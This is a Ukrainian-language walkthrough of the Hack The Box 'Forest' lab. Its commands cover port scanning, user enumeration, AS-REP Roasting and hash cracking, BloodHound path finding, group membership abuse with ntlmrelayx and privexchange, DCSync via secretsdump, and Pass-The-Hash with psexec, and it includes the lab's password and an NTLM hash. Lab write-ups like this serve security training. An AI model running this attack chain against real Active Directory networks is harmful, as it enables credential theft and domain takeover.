У цій статті розглядаються ключові хакерські техніки, застосовувані під час проходження лабораторії Hack The Box “Forest”, включаючи атаки AS-REP Roasting, DCSync та Pass-The-Hash. Ці методи є важливими етапами в пентестах та можуть бути використані для атак на мережеві сервіси Windows.
Продовження публікації рішень, відправлених на доробку машин із платформи HackTheBox, включаючи атаку Pass-The-Hash. Лабораторії виконуються через VPN-з’єднання. Рекомендується уникати підключення з робочих пристроїв або комп’ютерів, де зберігаються важливі дані, оскільки вхід здійснюється в приватну мережу, яка включає користувачів із глибокими знаннями в сфері інформаційної безпеки.
Ця машина має IP-адресу 10.10.10.161, яка додається до файлу /etc/hosts у форматі:
Для початку виконується сканування відкритих портів. Оскільки повне сканування всіма портами за допомогою nmap може бути тривалим, процес починається зі сканування за допомогою masscan. Цей інструмент використовується для сканування всіх TCP та UDP портів з інтерфейсу tun0, встановлюючи швидкість у 1000 пакетів за секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.161 --rate=1000
На хості було виявлено велику кількість відкритих портів, тому результати, отримані за допомогою masscan, вирішено перевірити для точності. Для цього було виконано додаткове сканування портів за допомогою nmap, що дозволило уточнити стан портів.
nmap 10.10.10.161 -p135,636,3269,49676,49665,53,593,49671,9389,49667,5985,49666,389,88,49684,464,3268,49677,47001,139,445,49714
Але nmap все підтвердив. Далі потрібно зібрати більше інформації про відомі nmap’у портах.
nmap -A 10.10.10.161 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001
enum4linux. Однак, результати виявилися обмеженими — інструмент надав мінімум даних, таких як групи, вимоги до паролів, відсутність підтримки SMBv1 та розшарованих ресурсів. Водночас вдалося отримати список користувачів, що може бути корисним для подальшого аналізу.enum4linux -a 10.10.10.161
Так як на хості працює керберос, необхідно перевірити, чи є такий обліковий запис користувача, у якого в UAC встановлено прапор DONT_REQ_PREAUTH. Прапор DONT_REQ_PREAUTH означає, що для цього облікового запису не потрібна попередня автентифікація Kerberos.
Спочатку потрібно дізнатися, які з облікових записів користувачів активні. Це допоможе зробити скрипт samrdump, що входить до складу пакету impacket.
impacket-samrdump forest.htb

Скрипт виводить спочатку всіх користувачів, а потім детальну інформацію про кожного з них. Так можна спостерігати, що обліковий запис Administrator активний, а Guest — ні. Тепер ми можемо скласти список активних користувачів.
Тримавши список активних користувачів, можна перевірити наявність потрібного прапора. Для цього використовується скрипт GetNPUsers, який входить до складу пакету impacket. У процесі роботи задається домен htb.local, IP-адреса контролера домену 10.10.10.161, аутентифікація за допомогою Kerberos (опція -k), використовується опція для перевірки облікових записів без пароля, а також передається список користувачів. Це дозволяє отримати додаткову інформацію про вразливості облікових записів у домені.
GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -k -no-pass -usersfile ADUsers.txt
Повідомляється, що цей прапор відсутній у всіх користувачів, окрім svc-alfresco. У версії пакету impacket (21-dev), яка використовується, скрипт автоматично запитує хеш після виконання перевірки. Це значно спрощує процес отримання необхідних даних для подальшого аналізу вразливостей облікового запису svc-alfresco.
Отримано хеш AS-REP Roasting. Унизу представлена схема аутентифікації Kerberos.
На першому етапі клієнт надсилає повідомлення з ідентифікатором користувача на сервер аутентифікації AS із запитом на надання послуги від імені користувача. Сервер AS створює секретний ключ, хешуючи пароль користувача, який знаходиться в базі даних.
Цей процес дозволяє прокрутити хеш для відновлення пароля, що є основою атаки AS-REP Roasting. Хеш зберігається у файл, після чого здійснюється пошук його прообразу.
john --wordlist=./rockyou.txt hashes2.txt
Знаходимо пароль користувача.
Якщо повернутися до відкритих портів, можна виявити працюючу службу WinRM (або Windows Remote Management), призначену для віддаленого керування. Тому ми можемо спокійно підключитися до неї.
Таким чином ми беремо користувача.
Для підвищення привілеїв у домені можна використовувати інструмент BloodHound, який дозволяє визначити шляхи для LPE (local privilege escalation).
Evil-winrm надає можливість як завантажувати файли на цільовий хост, так і завантажувати файли з нього. Для збору інформації на хост було завантажено модуль SharpHound, який є частиною інструментарію BloodHound.
Evil-winrm також дозволяє виконувати скрипти PowerShell. В процесі роботи можна вказати облікові дані користувача, пароль і визначити, яку саме інформацію потрібно отримати — наприклад, повну інформацію про доступні об’єкти, сервіси чи привілеї в системі.
![]()
Після виконання скрипта, у поточній директорії з’явиться zip-архів. Його ми завантажуємо з хоста.
Далі запустимо графову СУБД neo4j, з якою працює BloodHound.
neo4j console
Тепер запустимо BloodHound. Нас зустріне пустий екран.
Завантажений архів просто переноситься в програму. Після цього перехід здійснюється на вкладку Queries для подальшого аналізу отриманих даних.
Після цього вказується запит на пошук найкоротших шляхів до доменних адміністраторів. BloodHound автоматично створює графік, що відображає послідовний шлях просування. Натискаючи на кожен вузол у графі, можна отримати детальну інформацію про нього та його зв’язки в мережі.
Визначено, що для подальшого підвищення привілеїв необхідно стати членом групи Exchange Windows Permissions, оскільки обліковий запис належить до привілейованої групи Service Accounts. Після цього з’являється можливість виконувати дії для підвищення рівня доступу в системі.
net user svc-alfresco
На даний момент користувач не є членом групи Exchange Windows Permissions. Для продовження необхідно додати його до цієї групи. Після виконання цієї дії потрібно перевірити, чи було користувача успішно додано, переглянувши список його груп.
Add-ADGroupMember "Exchange Windows Permissions" svc-alfresco
Користувача успішно додано до групи Exchange Windows Permissions. Ця група має право WriteDACL (дозвіл на зміну списків керування доступом) на об’єкт Domain в Active Directory. Це дозволяє учасникам групи змінювати привілеї домену, включаючи надання дозволів для виконання операцій DCSync, що дозволяють отримати доступ до даних користувачів, таких як хеші паролів, у базі домену.
Атака DCSync використовує механізм реплікації Active Directory, за допомогою якого зміни, внесені на одному контролері домену, синхронізуються з іншими. Отримавши необхідні дозволи, можна ініціювати запит реплікації, щоб витягти дані, що зберігаються в Active Directory, включно з хешами паролів користувачів.
Це дозволяє синхронізувати хеші паролів облікових записів Active Directory, після чого можливо авторизуватися під їхніми іменами у будь-якому сервісі, який використовує протоколи NTLM (протокол мережної аутентифікації, розроблений Microsoft) або Kerberos.
Для виконання атаки використовуються інструменти privexchange.py і ntlmrelayx.py, які входять до складу пакета impacket. Спочатку запускається ntlmrelayx.py у режимі ретрансляції LDAP-запитів на контролер домену, використовуючи обліковий запис svc-alfresco. Це дозволяє перенаправляти аутентифікаційні запити для досягнення цілей атаки.
ntlmrelayx.py -t ldap://htb.local --escalate-user svc-alfresco
Всі сервіси запущені та очікують на підключення. Тепер використовуємо privex.
python privexchange.py 10.10.10.161 -ah наш_ip -d htb.local -u svc-alfresco -p s3rvice
Під час виконання команди виникло багато помилок. Після нетривалого аналізу було вирішено не усувати їх вручну. Як альтернативу, можна скористатися браузером: перейти за вказаним посиланням і пройти HTTP-автентифікацію, використовуючи облікові дані svc-alfresco. У вікні ntlmrelayx буде відображено інформацію про підключення, що дозволить продовжити атаку чи отримати необхідні дані.
Тепер виконаємо Атаку DCSync за допомогою secretsdump.
secretsdump.py htb.local/svc-alfresco:[email protected] -just-dc
Чудово. Ми змогли виконати реплікацію всіх облікових записів.
Ця атака дозволяє зловмиснику отримати доступ до віддаленого сервера, де автентифікація виконується за допомогою протоколів NTLM або LM. У системах, що використовують NTLM, паролі не передаються у відкритому вигляді; натомість на етапі автентифікації застосовується схема питання-відповідь, де передаються хеші паролів.
У Windows програми отримують пароль у відкритому вигляді від користувача, а потім викликають API, наприклад, LsaLogonUser, для перетворення пароля в LM і NTLM хеші, які використовуються для автентифікації. Аналіз протоколу показує, що для авторизації достатньо лише хешу пароля, без необхідності знати його у відкритому вигляді.
Слабкість реалізації протоколу полягає в тому, що хеші передаються без солі, тому вони залишаються постійними між сесіями, доки користувач не змінить пароль. Для зловмисника це означає, що хеш є еквівалентом самого пароля.
Для виконання атаки буде використано інструмент psexec, що дозволяє здійснити доступ і виконати команди на віддаленому сервері, використовуючи отриманий хеш пароля.
psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 [email protected]
Ми маємо системи з повними правами., що дозволяє виконувати будь-які операції на віддаленому сервері, включаючи зміну конфігурацій, управління обліковими записами користувачів та перегляд конфіденційних даних.